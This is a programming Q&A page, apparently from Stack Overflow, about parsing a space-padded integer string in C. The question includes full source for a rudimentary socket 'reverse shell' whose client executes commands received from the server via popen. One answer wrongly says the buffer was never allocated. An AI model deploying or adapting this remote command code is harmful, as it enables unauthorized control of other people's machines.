如何在 C 中将字符串转换为 integer 并带有尾随空格（并且没有 atoi）？

Question

I would like to convert a string to an integer, but the string will have a whitespace (maximum 9 characters). Here is an example of what I'm trying to do:

char* pointer = (char *) malloc(10);
int num = 10, newnum;
sprintf(pointer, "%10d", num);
//Convert pointer to integer here, assign it to newnum variable;
printf("New integer is: %d", newnum);

Output:

New integer is 10

I have tried using the atoi function but it is returning zero every time for some reason. If you need me to include the code in which it is returning zero, I'd be happy to do so, as this could very much be my error and not on the function. Here is the code (this is a reverse shell, so there is a client and a server, the problem is in the server, but it could be the client, I don't know): Server

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>

#define PORT 4583


int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    bind(sock, (struct sockaddr *) &server, sizeof(server));
    listen(sock, 2);
    int client = accept(sock, NULL, NULL);
    ssize_t size;
    int i, length;

    while (1){
        char * command = (char *) malloc(75);
        char * output = (char * ) malloc (10001);
        char* lengths = (char *) malloc(11);
        printf(">> ");
        fgets(command, 75, stdin);
        send(client, command, strlen(command), 0);
        recv(client, lengths, 11, 0);
        printf("Length: %s\n", lengths);
        length = atoi(lengths);
        printf("%d", length);
        recv(client, output, length+1, 0);
        printf("%s\n",  output);
        free(command);
        free(output);
        free(lengths);
    }
    return 0;
}

Client

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 4583

int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    connect(sock, (struct sockaddr *) &server, sizeof(server));
    int commandlen;

    while (1){
        char* command = (char *) malloc(75);
        char* output = (char *) malloc (5000);
        recv(sock, command, 75, 0);
        commandlen = strlen(command);
        if (*command == 'c' && *(command+1) == 'd'){
            command[commandlen-1] = '\0';
            int stat = chdir(command+3);
            if (stat != 0){
                output = strerror(errno);
                send(sock, output, 5000, 0);
            }
        }else{
            char* fullmsg = (char *) malloc(10001);
            char* length = (char *) malloc(11);
            FILE * cmd = popen(command, "r");
            while (fgets(output, 5000, cmd) != NULL){
                strcpy(fullmsg+(strlen(fullmsg)), output);
            }
            sprintf(length, "%10zu", strlen(fullmsg));
            send(sock, length, 11, 0);
            send(sock, fullmsg, 10001, 0);
            pclose(cmd);
            free(length);
            free(fullmsg);
        }
        free(output);
        free(command);
    }
    return 0;
}

Answer 1

There are many problems in your code. To start with, you did not point pointer to any valid memory, so attempt to write into the memory will invoke undefined behaviour . You must make the pointer point to a valid block of memory long enough to hold the final result.

That said, you should check for the return value of the function call (specially library functions) to ensure they are successful, before using the return value / buffers filled by them.

Answer 2

The problem is that the client sends more data than the server reads:

In client code:

send(sock, fullmsg, 10001, 0);

In server code:

recv(client, output, length+1, 0);
                     ^^^^^^^^
                     Less than 10001

The client should only send the valid bytes - something like:

send(sock, fullmsg, strlen(fullmsg) + 1, 0);